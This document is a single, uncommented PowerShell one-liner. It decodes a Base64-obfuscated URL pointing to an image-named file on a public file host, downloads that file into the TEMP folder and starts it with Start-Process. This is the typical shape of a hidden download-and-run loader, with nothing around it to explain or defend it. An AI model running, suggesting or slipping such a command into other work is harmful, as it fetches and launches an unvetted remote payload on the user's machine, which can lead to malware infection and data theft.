powershell -NoProfile -Command "$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9maWxlcy5jYXRib3gubW9lL3pvN3pnMi5qcGc=')); $f=[IO.Path]::Combine($env:TEMP,'img.jpg'); (New-Object Net.WebClient).DownloadFile($u,$f); Start-Process $f"